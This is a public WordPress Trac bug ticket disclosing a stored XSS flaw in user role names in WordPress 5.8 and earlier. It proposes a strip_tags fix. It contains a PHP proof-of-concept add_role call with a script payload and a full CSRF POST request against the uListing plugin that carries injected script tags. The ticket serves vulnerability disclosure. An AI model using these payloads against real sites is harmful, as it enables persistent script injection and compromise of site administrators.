[wp-trac] [WordPress Trac] #53973: WordPress <= 5.8 - Authenticated Persistent XSS (User role name)

WordPress Trac noreply at wordpress.org
Sat Aug 21 01:03:21 UTC 2021


#53973: WordPress <= 5.8 - Authenticated Persistent XSS (User role name)
----------------------------+-----------------------------
 Reporter:  visse           |      Owner:  (none)
     Type:  defect (bug)    |     Status:  new
 Priority:  normal          |  Milestone:  Awaiting Review
Component:  Security        |    Version:  trunk
 Severity:  normal          |   Keywords:  needs-patch
  Focuses:  administration  |
----------------------------+-----------------------------
 Hi there,

 First of all, I need to mention this (as requested by @ehtis / H1):

 >When creating the ticket, please mention in it that the security team has
 evaluated this and asked you to open a public ticket for discussion.
 \\
 == Intro:
 In versions of WordPress, including the latest v5.8, it's possible to
 inject malicious JavaScript code in the name (`$display_name`,
 `$details['name']`) of any user role.

 This vulnerability could be used to infect a website with malicious code
 or to keep a backdoor for future exploitations. Not all security plugins
 will detect such injections, cause adding or editing any user role is a
 legitimate process and all data is stored in the DB.

 Important to note that the functionality of adding custom roles is
 available in many plugins and themes, some of which aren't properly
 protected from CSRF attacks. Given this vulnerability, such attack vectors
 can be combined to successfully compromise a website.
 \\
 == Impact:
 Malicious JavaScript code injections, the ability to combine attack
 vectors against the targeted system, which can lead to a complete
 compromise of the resource.
 \\
 == Steps To Reproduce:
 1. Use attached PoC plugin (this is the fastest way to reproduce the JS
 injection) or use this code in any PHP file on your WordPress website:
 {{{
 #!php
 add_role( 'hacker', __( 'Hacker<script>alert(`Visse`);</script>' ), array(
 'read' => true, 'edit_posts' => true ) );
 }}}
 2. Activate the plugin (you can turn it off right away cause we don't need
 it anymore - our custom user role will be already injected). Our new role
 will appear in the database like this:
 {{{
 s:5:"hacker";a:2:{s:4:"name";s:37:"Hacker<script>alert(`Visse`);</script>";s:12:"capabilities";a:2:{s:4:"read";b:1;s:10:"edit_posts";b:1;}}
 }}}
 3. After that injected payload will be triggered on many pages inside the
 dashboard, f.e.: /wp-admin/users.php | /wp-admin/profile.php | /wp-admin
 /options-general.php etc. In my PoC plugin there will be a simple alert
 window.
 \\
 == Additional Information:
 Another way to add custom user role is by using plugin, f.e.
 '''uListing'''
 [https://ru.wordpress.org/plugins/ulisting/ulisting.2.0.4.1.zip v2.0.4.1]
 (CSRF scenario):
 {{{
 POST /wp-admin/admin-ajax.php HTTP/2
 Host: example.com
 Cookie: [admin cookies]
 User-Agent: Mozilla/5.0
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Content-Length: 925

 action=stm_save_user_roles&roles%5B0%5D%5Bis_delete%5D=0&roles%5B0%5D%5Bname%5D=Visse%3Cscript%3Ealert(%2FVisse%2F)%3B%3C%2Fscript%3E&roles%5B0%5D%5Bslug%5D=visse&roles%5B0%5D%5Bcapabilities%5D%5Bdefault%5D=1&roles%5B0%5D%5Bcapabilities%5D%5Blisting_limit%5D=1553&roles%5B0%5D%5Bcapabilities%5D%5Blisting_moderation%5D=1&roles%5B0%5D%5Bcapabilities%5D%5Bstm_listing_role%5D=1&roles%5B0%5D%5Bcapabilities%5D%5Ballow_delete_listings%5D=0&roles%5B0%5D%5Bcapabilities%5D%5Bcomment%5D=1&roles%5B1%5D%5Bis_delete%5D=0&roles%5B1%5D%5Bname%5D=Hacker%3Cscript%3Ealert(%2FHacker%2F)%3B%3C%2Fscript%3E&roles%5B1%5D%5Bslug%5D=hacker&roles%5B1%5D%5Bcapabilities%5D%5Bdefault%5D=1&roles%5B1%5D%5Bcapabilities%5D%5Blisting_limit%5D=1337&roles%5B1%5D%5Bcapabilities%5D%5Bcomment%5D=1&roles%5B1%5D%5Bcapabilities%5D%5Blisting_moderation%5D=0&roles%5B1%5D%5Bcapabilities%5D%5Bstm_listing_role%5D=1&roles%5B1%5D%5Bcapabilities%5D%5Bis_open%5D=1

 }}}
 \\
 == Possible solution:
 File: /wp-includes/class-wp-roles.php, line 162:
 `'name' => $display_name,` change to `'name' => strip_tags( $display_name
 ),`.
 \\

-- 
Ticket URL: <https://core.trac.wordpress.org/ticket/53973>
WordPress Trac <https://core.trac.wordpress.org/>
WordPress publishing platform


More information about the wp-trac mailing list